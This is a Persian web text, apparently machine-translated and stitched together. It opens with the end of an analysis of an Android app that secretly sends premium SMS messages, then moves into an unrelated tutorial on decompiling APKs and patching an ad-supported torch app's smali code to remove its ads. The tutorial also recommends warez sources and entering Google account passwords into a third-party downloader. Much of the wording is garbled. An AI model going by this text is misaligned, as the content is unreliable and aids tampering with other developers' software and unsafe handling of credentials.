با ترکیب نتایج تمام تجزیه و تحلیل های انجام شده، می توان تصویر روشنی از عملکرد کامل انواع مختلف بدافزار به دست آورد.

اپلیکیشن به شماره پریمیوم 1066185829 پیامکی با متن 921X1 ارسال می کند. به موازات آن، هرگونه گزارش تحویل پیام دریافتی به این شماره مسدود می شود و در نتیجه قربانی هیچ سیگنالی مبنی بر وجود چنین پیامکی که توسط برنامه ارسال شده است، دریافت نخواهد کرد. زمینه. علاوه بر این، پیامک فقط یک بار ارسال می شود و قربانی در واقع به هیچ وجه نمی تواند مشکوک باشد که واقعاً چه چیزی باعث برداشت وجه از حساب شده است.

برنج. 11: یافته های کامل بدافزار iCalendar.apk Cycle

نتیجه:

یک برنامه مخرب با دسترسی روت به گوشی نه تنها توانایی خواندن اطلاعات ذخیره شده روی آن را دارد، بلکه قادر است آن را کاملاً به هر مکانی منتقل کند. این اطلاعاتممکن است در بربگیرد اطلاعات تماس، اسناد و حتی رمزهای عبور حساب. در ریشه داشتندسترسی، امکان نصب اجزای دیگری که برای مشاهده در دسترس نیستند وجود دارد رابط کاربریتلفن، بنابراین آنها را نمی توان به راحتی حذف کرد. راه های اصلی محافظت از برنامه ها در برابر بدافزار برای پلتفرم اندروید به شرح زیر است:
  • برنامه را فقط از منابع قابل اعتماد دانلود کنید.
  • قبل از دانلود برنامه، رتبه بندی ها و نظرات مربوطه را بررسی کنید.
  • ارزیابی دقیق مجوزهای برنامه های کاربردی خاص؛
  • نصب سیستم عامل به روز رسانی اندروید، همانطور که آنها آماده هستند؛
  • نصب برنامه هایی برای محافظت از اپلیکیشن های موبایل.

این سند نمونه ای از آسیب های ناشی از بدافزار را ارائه می دهد نرم افزارکاربران بی خبر اگر شخصی از وجود آن اطلاعی نداشته باشد، چنین برنامه هایی برای انجام تقریباً هر عمل غیرمجاز در پس زمینه در دسترس قرار می گیرند. عملکرد بدافزار می تواند منجر به زیان های مالیبرای کاربر با حذف وجوه از موجودی خود و همچنین سرقت رمزهای عبور. علاوه بر این، آنها می توانند به خود گوشی آسیب وارد کنند. همانطور که می بینید، بسیار مهم است که اقدامات احتیاطی کافی را به موقع انجام دهید تا از نفوذ این نوع برنامه ها به گوشی شما جلوگیری شود. بهتر است یک بار در امان باشید تا اینکه بعداً ده بار پشیمان شوید.

گاهی اوقات برخی از برنامه های اندروید به دلایلی مناسب کاربر نیستند. یک مثال تبلیغات آزاردهنده است. و این طور اتفاق می افتد - همه در برنامه خوب هستند ، اما فقط ترجمه در آن یا کج است یا کاملاً وجود ندارد. یا مثلاً برنامه آزمایشی است و دریافت کنید نسخه کاملهیچ امکانی وجود ندارد چگونه شرایط را تغییر دهیم؟

مقدمه

در این مقاله، ما در مورد نحوه جدا کردن یک APK با یک برنامه، نگاهی به ساختار داخلی آن، جداسازی و کامپایل کردن بایت کد، و همچنین تلاش برای ایجاد چندین تغییر در برنامه های کاربردی که می توانند این یا آن مزیت را برای ما به ارمغان بیاورند، صحبت خواهیم کرد.

برای انجام همه این کارها، حداقل به دانش اولیه زبان جاوا، که برنامه های اندروید با آن نوشته می شوند، و زبان XML که در همه جای اندروید استفاده می شود - از توصیف خود برنامه و حقوق دسترسی آن گرفته تا ذخیره رشته ها نیاز دارید. که روی صفحه نمایش داده خواهد شد. همچنین به توانایی کار با نرم افزار کنسول تخصصی نیاز خواهید داشت.

بنابراین، بسته APK که در آن کاملاً همه نرم افزارهای اندرویدی توزیع شده است چیست؟

حذف کامپایل برنامه

در این مقاله، ما فقط با کد برنامه جدا شده کار کردیم، اما اگر تغییرات جدی تری در برنامه های بزرگ ایجاد کنید، درک کد smali بسیار دشوارتر خواهد بود. خوشبختانه، می‌توانیم کد dex را به کد جاوا تبدیل کنیم، که اگرچه اصلی نیست و قابل کامپایل نیست، اما خواندن و درک منطق برنامه بسیار آسان‌تر است. برای این کار به دو ابزار نیاز داریم:

  • dex2jar - مترجم بایت کد Dalvik به بایت کد JVM که بر اساس آن می توانیم کد جاوا را دریافت کنیم.
  • jd-gui خود یک دیکامپایلر است که به شما امکان می دهد کد جاوا قابل خواندن را از بایت کد JVM دریافت کنید. از طرف دیگر، می توانید از Jad (www.varanecas.com/jad) استفاده کنید. اگرچه بسیار قدیمی است، اما در برخی موارد کد خواناتری نسبت به Jd-gui تولید می کند.

آنها باید اینگونه استفاده شوند. ابتدا dex2jar را راه اندازی می کنیم و مسیر بسته apk را به عنوان آرگومان مشخص می کنیم:

%dex2jar.sh mail.apk

در نتیجه، بسته جاوا mail.jar در دایرکتوری فعلی ظاهر می‌شود که می‌توان آن را در jd-gui برای مشاهده کد جاوا باز کرد.

تنظیم بسته های APK و دریافت آنها

بسته برنامه های اندرویددر واقع یک فایل ZIP معمولی است که برای مشاهده محتویات و باز کردن آن نیازی به ابزار خاصی نیست. کافی است یک آرشیو داشته باشید - 7zip برای ویندوز یا کنسول unzip در لینوکس. اما این در مورد لفاف است. داخلش چیه؟ در داخل، ما به طور کلی ساختار زیر را داریم:

  • META-INF/- حاوی یک گواهی دیجیتالی از برنامه است که سازنده آن را تأیید می کند، و جمع های چک فایل های بسته.
  • res/ - منابع مختلفی که برنامه در کار خود از آنها استفاده می کند، مانند تصاویر، توصیفی از رابط و سایر داده ها.
  • AndroidManifest.xml- شرح برنامه این شامل، برای مثال، لیستی از مجوزهای مورد نیاز، مورد نیاز است نسخه اندرویدو وضوح صفحه نمایش مورد نیاز؛
  • classes.dex- بایت کد برنامه کامپایل شده برای ماشین مجازی Dalvik.
  • منابع.arsc- همچنین منابع، اما از نوع متفاوت - به ویژه، رشته ها (بله، این فایل را می توان برای Russification استفاده کرد!).

فایل‌ها و دایرکتوری‌های فهرست‌شده، اگر نه در همه، در اکثریت قریب به اتفاق APK‌ها هستند. با این حال، چند فایل/دایرکتوری کمتر رایج وجود دارد که قابل ذکر است:

  • دارایی های- آنالوگ منابع تفاوت اصلی این است که برای دسترسی به یک منبع، باید شناسه آن را بدانید، در حالی که لیست دارایی ها را می توان به صورت پویا با استفاده از متد AssetManager.list() در کد برنامه به دست آورد.
  • lib- کتابخانه های بومی لینوکس که با کمک NDK (Native Development Kit) نوشته شده اند.

این دایرکتوری توسط سازندگان بازی برای قرار دادن موتور بازی خود به زبان C/C++ و همچنین سازندگان برنامه‌های کاربردی با کارایی بالا استفاده می‌شود (به عنوان مثال، گوگل کروم). دستگاه را فهمید. اما چگونه می توان فایل پکیج اپلیکیشن مورد نظر را دریافت کرد؟ از آنجایی که دریافت فایل‌های APK از دستگاه بدون روت کردن امکان‌پذیر نیست (آنها در فهرست / data / app هستند)، و روت کردن همیشه توصیه نمی‌شود، حداقل سه راه برای دریافت فایل برنامه به رایانه شما وجود دارد:

  • پسوند APK Downloader برای کروم.
  • برنامه واقعی APK Leecher.
  • میزبانی فایل های مختلف و warezniki.

استفاده از کدام یک موضوع سلیقه ای است. ما ترجیح می دهیم از برنامه های جداگانه استفاده کنیم، بنابراین استفاده از Real APK Leecher را شرح می دهیم، به خصوص که در جاوا نوشته شده است و بر این اساس، حتی در ویندوز، حتی در nix نیز کار می کند.

پس از شروع برنامه، باید سه قسمت ایمیل، رمز عبور و شناسه دستگاه را پر کنید و یک زبان را انتخاب کنید. دو مورد اول ایمیل و رمز عبور حساب Google شما هستند که در دستگاه استفاده می کنید. سومین شناسه دستگاه است و با شماره گیری کد روی شماره گیر می توانید آن را دریافت کنید # #8255## و سپس خط شناسه دستگاه را پیدا کنید. هنگام پر کردن، فقط باید شناسه را بدون پیشوند android وارد کنید.

پس از پر کردن و ذخیره کردن، اغلب پیام "خطا هنگام اتصال به سرور" ظاهر می شود. هیچ ربطی به Google Play ندارد، بنابراین با خیال راحت آن را نادیده بگیرید و به دنبال بسته های مورد علاقه خود بگردید.

بررسی و اصلاح

فرض کنید بسته‌ای را پیدا کرده‌اید که به آن علاقه دارید، آن را دانلود کرده‌اید، بسته‌بندی آن را باز کرده‌اید... و زمانی که سعی کردید برخی از فایل‌های XML را مشاهده کنید، با تعجب متوجه شدید که فایل یک فایل متنی نیست. چگونه آن را دیکامپایل کنیم و به طور کلی چگونه با بسته ها کار کنیم؟ آیا نصب SDK واقعا ضروری است؟ خیر، نیازی به نصب SDK ندارید. در واقع، برای تمام مراحل باز کردن، تغییر و بسته‌بندی بسته‌های APK، ابزارهای زیر مورد نیاز است:

  • بایگانی ZIPبرای باز کردن و بسته بندی؛
  • کوچک- اسمبلر/جداساز بایت کد ماشین مجازی دالویک (code.google.com/p/smali)؛
  • aapt- ابزاری برای بسته بندی منابع (به طور پیش فرض، منابع به شکل باینری برای بهینه سازی عملکرد برنامه ذخیره می شوند). همراه با Android SDK، اما می توان به طور جداگانه به دست آورد.
  • امضا کننده- ابزار برای امضای دیجیتالیبسته اصلاح شده (bit.ly/Rmrv4M).

می توانید از همه این ابزارها به طور جداگانه استفاده کنید، اما این کار ناخوشایند است، بنابراین بهتر است از نرم افزارهای سطح بالاتر ساخته شده بر اساس آنها استفاده کنید. اگر از Linux یا Mac OS X استفاده می کنید، ابزاری به نام apktool وجود دارد. این به شما امکان می دهد منابع را به شکل اصلی خود باز کنید (از جمله فایل های XML باینری و arsc)، بسته را با منابع اصلاح شده بازسازی کنید، اما نمی داند چگونه بسته ها را امضا کند، بنابراین باید ابزار امضا کننده را به صورت دستی اجرا کنید. با وجود این واقعیت که ابزار به زبان جاوا نوشته شده است، نصب آن نسبتاً غیر استاندارد است. ابتدا باید خود فایل jar را دریافت کنید:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

اگر روی ویندوز کار می کنید، یک ابزار عالی برای آن به نام Virtual Ten Studio وجود دارد که تمام این ابزارها (از جمله خود apktool) را نیز جمع آوری می کند، اما به جای یک رابط CLI، یک رابط گرافیکی بصری در اختیار کاربر قرار می دهد تا با آن عملیات باز کردن، جداسازی و کامپایل کردن را با چند کلیک انجام دهید. این ابزار Donation-ware است، یعنی گاهی اوقات ویندوز با یک پیشنهاد برای دریافت مجوز ظاهر می شود، اما در نهایت می توان این را تحمل کرد. توصیف آن بی معنی است، زیرا می توانید در عرض چند دقیقه رابط کاربری را درک کنید. اما apktool با توجه به کنسولی بودنش باید بیشتر مورد بحث قرار گیرد.


گزینه های apktool را در نظر بگیرید. به طور خلاصه، سه دستور اصلی وجود دارد: d (decode)، b (build) و if (install frame). اگر همه چیز با دو دستور اول مشخص است، پس فرمان سوم چه می کند؟ عملگر شرطی? این فریم ورک UI مشخص شده را باز می کند، که در هنگام تجزیه یک بسته سیستم مورد نیاز است.

جالب ترین گزینه های دستور اول را در نظر بگیرید:

  • -s- فایل های dex را از هم جدا نکنید.
  • -r- منابع را باز نکنید.
  • - اطلاعات اشکال زدایی را در نتایج جداسازی فایل dex وارد نکنید.
  • -- فریم مسیر- از چارچوب UI مشخص شده به جای apktool داخلی استفاده کنید. اکنون چند گزینه برای دستور b در نظر بگیرید:
  • - مونتاژ اجباری بدون بررسی تغییرات؛
  • - اگر به دلایلی می خواهید از منبع دیگری استفاده کنید، مسیر aapt (ابزار ساخت بایگانی APK) را مشخص کنید.

استفاده از apktool بسیار ساده است، تنها کاری که باید انجام دهید این است که یکی از دستورات و مسیر APK را مشخص کنید، به عنوان مثال:

$ apktool d mail.apk

پس از آن، تمام فایل های بسته استخراج شده و جدا شده در فهرست پست الکترونیکی ظاهر می شوند.

آماده سازی. غیرفعال کردن تبلیغات

البته تئوری خوب است، اما اگر نمی دانیم با بسته بسته بندی نشده چه کنیم، چرا به آن نیاز است؟ بیایید سعی کنیم تئوری را به نفع خودمان اعمال کنیم، یعنی برخی از نرم افزارها را اصلاح می کنیم تا به ما تبلیغات نشان ندهد. به عنوان مثال، اجازه دهید مشعل مجازی باشد - یک مشعل مجازی. برای ما، این نرم افزار عالی است، زیرا پر از تبلیغات مزاحم است و به اندازه کافی ساده است که در وحشی کد گم نشوید.


پس با استفاده از یکی از روش های بالا اپلیکیشن را از بازار دانلود کنید. اگر تصمیم دارید از Virtuous Ten Studio استفاده کنید، کافی است فایل APK را در برنامه باز کنید و آن را باز کنید، برای آن یک پروژه (File -> New project) ایجاد کنید، سپس در منوی زمینهپروژه، Import File را انتخاب کنید. اگر انتخاب شما روی apktool افتاد، کافی است یک دستور را اجرا کنید:

$ apktool d com.kauf.particle.virtualtorch.apk

پس از آن، یک درخت فایل در دایرکتوری com.kauf.particle.virtualtorch ظاهر می شود، مشابه آنچه در بخش قبل توضیح داده شد، اما به جای فایل های dex و یک فایل apktool.yml، یک فهرست smali اضافی دارد. مورد اول حاوی کد جدا شده فایل dex اجرایی برنامه است، مورد دوم حاوی اطلاعات سرویس مورد نیاز apktool برای جمع آوری بسته است.

اولین جایی که باید به آن نگاه کنیم، البته AndroidManifest.xml است. و در اینجا بلافاصله با خط زیر روبرو می شویم:

به راحتی می توان حدس زد که او مسئول اعطای مجوزهای برنامه برای استفاده از اتصال اینترنت است. در واقع، اگر فقط بخواهیم از شر تبلیغات خلاص شویم، به احتمال زیاد کافی است که اپلیکیشن را از اینترنت ممنوع کنیم. بیایید سعی کنیم آن را انجام دهیم. خط مشخص شده را حذف کنید و سعی کنید نرم افزار را با استفاده از apktool کامپایل کنید:

$ apktool b com.kauf.particle.virtualtorch

فایل APK به دست آمده در دایرکتوری com.kauf.particle.virtualtorch/build/ ظاهر می شود. با این حال، نصب آن امکان پذیر نخواهد بود، زیرا دارای امضای دیجیتال و چک جمع هافایل ها (فقط دایرکتوری META-INF/ ندارد). ما باید بسته را با ابزار apk-signer امضا کنیم. راه اندازی شد. رابط از دو تب تشکیل شده است - در اول (Key Generator) کلیدها را ایجاد می کنیم ، در دوم (APK Signer) امضا می کنیم. برای ایجاد ما کلید خصوصی، فیلدهای زیر را پر کنید:

  • فایل هدف- فایل خروجی ذخیره کلید. معمولاً یک جفت کلید را ذخیره می کند.
  • کلمه عبورو تایید- رمز عبور برای ذخیره سازی؛
  • نام مستعار- نام کلید در مخزن؛
  • رمز عبور مستعارو تایید- رمز عبور کلید مخفی؛
  • اعتبار- مدت اعتبار (به سال). مقدار پیش فرض بهینه است.

فیلدهای باقی مانده، به طور کلی، اختیاری هستند - اما باید حداقل یکی را پر کنید.


هشدار

برای امضای برنامه با apk-signer، باید Android SDK را نصب کرده و مسیر کامل آن را در تنظیمات برنامه مشخص کنید.

تمام اطلاعات فقط برای مقاصد اطلاعاتی ارائه شده است. نه سردبیران و نه نویسنده مسئولیتی در قبال آسیب احتمالی ناشی از مطالب این مقاله ندارند.

اکنون می توانید APK را با این کلید امضا کنید. در تب APK Signer، فایل جدید تولید شده را انتخاب کنید، رمز عبور، نام مستعار کلیدی و رمز عبور آن را وارد کنید، سپس آن را پیدا کنید. فایل APKو جسورانه دکمه "Sign" را فشار دهید. اگر همه چیز خوب پیش برود، بسته امضا خواهد شد.

اطلاعات

از آنجایی که ما بسته را با کلید خودمان امضا کردیم، با برنامه اصلی در تضاد خواهد بود، به این معنی که وقتی می خواهیم نرم افزار را از طریق مارکت به روز کنیم، با خطا مواجه می شویم.

فقط نرم افزار شخص ثالث به امضای دیجیتال نیاز دارد، بنابراین اگر در حال تغییر هستید برنامه های کاربردی سیستم، که با کپی کردن در پوشه /system/app/ نصب می شوند، نیازی به امضای آنها ندارید.

پس از آن، بسته را روی گوشی هوشمند می اندازیم، نصب و اجرا می کنیم. Voila، آگهی از بین رفته است! اما در عوض، پیامی ظاهر شد که ما اینترنت نداریم یا مجوزهای مناسب را نداریم. در تئوری، این می تواند کافی باشد، اما پیام آزاردهنده به نظر می رسد، و صادقانه بگویم، ما فقط با یک برنامه احمقانه خوش شانس بودیم. یک نرم افزار خوب نوشته شده به احتمال زیاد اعتبار خود را روشن می کند یا اتصال اینترنت را بررسی می کند و در غیر این صورت به سادگی از شروع به کار خودداری می کند. چگونه در این مورد باشیم؟ البته کد را ویرایش کنید.

به طور معمول، نویسندگان برنامه، کلاس‌های ویژه‌ای را برای نمایش تبلیغات و روش‌های فراخوانی این کلاس‌ها در طول راه‌اندازی برنامه یا یکی از «فعالیت‌های» آن (به عبارت ساده، صفحه‌های برنامه) ایجاد می‌کنند. بیایید سعی کنیم این کلاس ها را پیدا کنیم. ما به دایرکتوری smali می رویم، سپس com (در org فقط کتابخانه گرافیکی باز cocos2d وجود دارد)، سپس kauf (دقیقا آنجا، زیرا این نام توسعه دهنده است و تمام کدهای او آنجا هستند) - و اینجاست، دایرکتوری بازاریابی در داخل ما تعداد زیادی فایل با پسوند smali پیدا می کنیم. اینها کلاس هایی هستند و قابل توجه ترین آنها کلاس Ad.smali است که با نام آن به راحتی می توان حدس زد که تبلیغات را نمایش می دهد.

ما می‌توانیم منطق کار آن را تغییر دهیم، اما حذف احمقانه تماس‌های هر یک از روش‌های آن از خود برنامه بسیار ساده‌تر است. بنابراین، از دایرکتوری بازاریابی خارج می شویم و به دایرکتوری ذرات همسایه و سپس به virtualtorch می رویم. فایل MainActivity.smali در اینجا شایسته توجه ویژه است. این یک کلاس استاندارد اندروید است که توسط Android SDK تولید شده و به عنوان نقطه ورود به برنامه (مشابه عملکرد اصلی در C) تنظیم شده است. فایل را برای ویرایش باز کنید.

داخل کد اسمالی (اسمبلر محلی) است. به دلیل ماهیت سطح پایین آن، خواندن آن نسبتاً گیج کننده و دشوار است، بنابراین ما آن را مطالعه نمی کنیم، بلکه به سادگی تمام موارد ذکر شده از کلاس Ad را در کد پیدا می کنیم و آنها را نظر می دهیم. ما در رشته "Ad" در جستجو رانندگی می کنیم و به خط 25 می رسیم:

آگهی خصوصی فیلد:Lcom/kauf/marketing/Ad;

در اینجا، یک آگهی فیلد برای ذخیره یک شی از کلاس Ad ایجاد می شود. با قرار دادن علامت ## در جلوی خط نظر می دهیم. ما به جستجو ادامه می دهیم. خط 423:

نسخه جدید نسخه 3، Lcom/kauf/marketing/Ad.

اینجا جایی است که شی ایجاد می شود. نظر می دهیم. جستجو را ادامه می دهیم و در خطوط 433، 435، 466، 468، 738، 740، 800 و 802 فراخوانی متدهای کلاس Ad را پیدا می کنیم. نظر می دهیم. بنظر همینه پس انداز می کنیم. اکنون بسته باید دوباره مونتاژ شود و عملکرد آن و وجود تبلیغات بررسی شود. برای خلوص آزمایش، خط حذف شده از AndroidManifest.xml را برمی گردانیم، بسته را جمع آوری می کنیم، آن را امضا می کنیم و آن را نصب می کنیم.

خوکچه هندی ما تبلیغات قابل مشاهده

اوپ-پا! تبلیغات تنها زمانی که برنامه در حال اجرا بود ناپدید شد، اما در منوی اصلی باقی ماند، که هنگام راه اندازی نرم افزار مشاهده می کنیم. بنابراین، صبر کنید، اما نقطه ورودی کلاس MainActivity است، و تبلیغات در حالی که برنامه در حال اجرا بود ناپدید شد، اما در منوی اصلی باقی ماند، بنابراین نقطه ورودی متفاوت است؟ برای آشکار کردن نقطه ورودی واقعی، فایل AndroidManifest.xml را دوباره باز می کنیم. و بله، شامل خطوط زیر است:

آنها به ما می گویند (و مهمتر از آن Android) که فعالیتی به نام Start باید در پاسخ به تولید یک intent (رویداد) android.intent.action.MAIN از دسته android.intent.category.LAUNCHER راه اندازی شود. این رویداد زمانی ایجاد می‌شود که روی نماد برنامه در راه‌انداز ضربه بزنید، بنابراین نقطه ورودی، یعنی کلاس Start را مشخص می‌کند. به احتمال زیاد، برنامه نویس ابتدا یک برنامه بدون منوی اصلی نوشت که نقطه ورود به آن کلاس استاندارد MainActivity بود و سپس یک پنجره (اکتیویتی) جدید حاوی منو و در کلاس Start شرح داده شده اضافه کرد و به صورت دستی آن را به یک ورودی تبدیل کرد. نقطه.

فایل Start.smali را باز می کنیم و دوباره به دنبال خط "Ad" می گردیم، در خطوط 153 و 155 به کلاس FirstAd اشاره می کنیم. همچنین در کد منبع وجود دارد و با قضاوت از روی نام، وظیفه نمایش تبلیغات در صفحه اصلی را بر عهده دارد. ما بیشتر نگاه می کنیم، یک نمونه از کلاس FirstAd و یک intent، با توجه به زمینه مربوط به این نمونه، وجود دارد، و سپس برچسب cond_10، که انتقال شرطی به آن دقیقاً قبل از ایجاد یک نمونه از کلاس انجام می شود. :

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

به احتمال زیاد، برنامه به نوعی به طور تصادفی محاسبه می کند که آیا لازم است تبلیغات در صفحه اصلی نشان داده شود یا خیر، و اگر نه، مستقیماً به cond_10 می پرد. خوب، بیایید کار او را ساده کنیم و انتقال شرطی را با یک تغییر شرطی جایگزین کنیم:

#if-ne p1, v0, :cond_10 goto:cond_10

دیگر هیچ اشاره ای به FirstAd در کد وجود ندارد، بنابراین فایل را می بندیم و مشعل مجازی خود را با استفاده از apktool دوباره جمع می کنیم. در گوشی هوشمند کپی کنید، نصب کنید، اجرا کنید. Voila، همه تبلیغات از بین رفته اند، به همه ما تبریک می گویم.

نتایج

این مقاله فقط معرفی مختصردر روش های باز کردن و اصلاح برنامه های اندروید. بسیاری از مسائل در پشت صحنه باقی ماندند، مانند حذف حفاظت، تجزیه کد مبهم، ترجمه و جایگزینی منابع برنامه، و همچنین اصلاح برنامه های نوشته شده با با استفاده از اندروید NDK. با این حال، داشتن دانش اولیه، درک همه اینها فقط یک موضوع زمان است.

اشتراک گذاری